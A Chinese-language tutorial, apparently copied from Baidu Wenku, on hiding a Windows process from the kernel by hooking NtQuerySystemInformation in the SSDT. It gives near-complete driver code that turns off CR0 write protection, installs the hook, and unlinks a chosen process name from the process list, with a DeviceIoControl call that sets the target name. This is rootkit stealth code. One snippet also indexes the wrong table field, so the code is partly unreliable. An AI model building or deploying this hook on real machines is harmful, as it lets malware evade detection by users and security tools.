狗扑猫电器:进程隐藏的实现

来源:百度文库 编辑:中财网 时间:2024/04/29 23:03:02

内核级进程隐藏与侦测一

(2006-11-13 16:17:40) 进程隐藏的实现通过Hook SSDT (System Service Dispath Table) 隐藏进程1.原理介绍:

       Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到EAX寄存器中。把指向参数区的指针被保存在EDX寄存器中。中断调用后,EAX寄存器保存了返回的结果。KiSystemService()是根据EAX的值来决定哪个函数将被调用。而系统在SSDT中维持了一个数组,专门用来索引特定的函数服务地址。在Windows 2000中有一个未公开的由ntoskrnl.exe导出的KeServiceDescriptorTable变量,我们可以通过它来完成对SSDT的访问与修改。KeServiceDescriptorTable对应于一个数据结构,定义如下:

typedef struct SystemServiceDescriptorTable
{
    UINT    *ServiceTableBase;
    UINT    *ServiceCounterTableBase;
    UINT    NumberOfService;
    UCHAR    
*ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;

其中ServiceTableBase指向系统服务程序的地址(SSDT),ParameterTableBase则指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元。在windows 2000 sp4中NumberOfService的数目是248个。

我们的任务管理器,是通过用户层的API来枚举当前的进程的。Ring3级枚举的方法:

" PSAPI

– EnumProcesses()

" ToolHelp32

– Process32First()

- Process32Next()

来对进程进行枚举。而她们最后都是通过NtQuerySystemInformation来进行查询的。所以我们只需要Hook掉NtQuerySystemInformation,把真实NtQuerySystemInformation返回的数进行添加或者是删改,就能有效的欺骗上层API。从而达到隐藏特定进程的目的。

2. Hook

Windows2000中NtQuerySystemInformation在SSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook。

OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];

KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;

在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码:

kd> u ZwQuerySystemInformation

804011aa    b897000000      mov         eax,0x97

804011af    8d542404        lea         edx,[esp+0x4]

804011b3    cd2e            int         2e

804011b5    c21000          ret         0x10

所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。例如:

ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);

RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;

3.对NtQuerySystemInformation返回的数据进行删改

NtQuerySystemInformation的原型:

NtQuerySystemInformation(

        IN ULONG SystemInformationClass,   //查询系统服务类型

        IN PVOID SystemInformation,        //接收系统信息缓冲区

        IN ULONG SystemInformationLength,   //接收信息缓冲区大小

        OUT PULONG ReturnLength);       //实际接收到的大小

NtQuerySystemInformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过SystemInformationClass号来区分功能,当SystemInformationClass等于5的时候是在进行进程的查询。此时返回的SystemInformation 是一个 _SYSTEM_PROCESSES结构。

struct _SYSTEM_PROCESSES

{

    ULONG NextEntryDelta;   //下一个进程信息的偏移量,如果为0表示无一个进程信息

    ULONG ThreadCount;     //线程数量

    ULONG Reserved[6];     //

    LARGE_INTEGER CreateTime;      //创建进程的时间

    LARGE_INTEGER UserTime;         //进程中所有线程在用户模式运行时间的总和

    LARGE_INTEGER KernelTime;      //进程中所有线程在内核模式运行时间的总和

    UNICODE_STRING ProcessName;     //进程的名字

    KPRIORITY BasePriority;         //线程的缺省优先级

    ULONG ProcessId;                //进程ID号

    ULONG InheritedFromProcessId;  //继承语柄的进程ID号

    ULONG HandleCount;              //进程打开的语柄数量   

    ULONG Reserved2[2];             // 

    VM_COUNTERS VmCounters;         //虚拟内存的使用情况统计

    IO_COUNTERS IoCounters;         //IO操作的统计,Only For 2000

    struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组

};

当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。 

4. 核心实现

//系统服务表入口地址

extern PServiceDescriptorTableEntry KeServiceDescriptorTable;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)

{

    ……

    __asm{

        mov eax, cr0

        mov CR0VALUE, eax

        and eax, 0fffeffffh //DisableWriteProtect

        mov cr0, eax

    }

    //取得原来ZwQuerySystemInformation的入口地址

RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

    //Hook

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;

    //EnableWriteProtect

    __asm

    {

        mov eax, CR0VALUE

        mov cr0, eax

    }

    ……

    return STATUS_SUCCESS;

}

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)

{

    ……

    //UnHook恢复系统服务的原始入口地址

((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

    ……

}

NTSTATUS HookFunc(

        IN ULONG SystemInformationClass,

        IN PVOID SystemInformation,

        IN ULONG SystemInformationLength,

        OUT PULONG ReturnLength)

{

    NTSTATUS rc;

    struct _SYSTEM_PROCESSES *curr;

    // 保存上一个进程信息的指针

    struct _SYSTEM_PROCESSES *prev = NULL;

    //调用原函数

    rc = (RealZwQuerySystemInformation) (

        SystemInformationClass,

        SystemInformation,

        SystemInformationLength, ReturnLength);

    if(NT_SUCCESS(rc))

    {

if(5 == SystemInformationClass)

//如果系统查询类型是SystemProcessesAndThreadsInformation

        {

            curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

            //加第一个偏移量得到第一个system进程的信息首地址

            if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);

            while(curr)

            {

if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)

                {

                    //找到要隐藏的进程

                    if(prev)

                    {

                       

                        if(curr->NextEntryDelta)

                        {

                            //要删除的信息在中间

                            prev->NextEntryDelta += curr->NextEntryDelta;

                        }

                        else

                        {

                            //要删除的信息在末尾

                            prev->NextEntryDelta = 0;

                        }

                    }

                    else

                    {

                        if(curr->NextEntryDelta)

                        {

                            //要删除的信息在开头

                            (char *)SystemInformation += curr->NextEntryDelta;

                        }

                        else

                        {

                            SystemInformation = NULL;

                        }

                    }

                    //如果链下一个还有其他的进程信息,指针往后移

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);                    else

                    {

                        curr = NULL;

                        break;

                    }

                }

                if(curr != NULL)

                {

                    //把当前指针设置成前一个指针,当前指针后移

                    prev = curr;

                    if(curr->NextEntryDelta)

((char*)curr+=curr->NextEntryDelta);

                    else curr = NULL;

                }

            } // end while(curr)

        }

    }

    return rc;

}

通过IOCTL和Ring3级的应用程序通过DeviceIoControl(API)交互信息。Ring3级的用户程序使用,

DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,

NULL,0,& BytesReturned,NULL)来通知驱动程序要隐藏的进程的名字。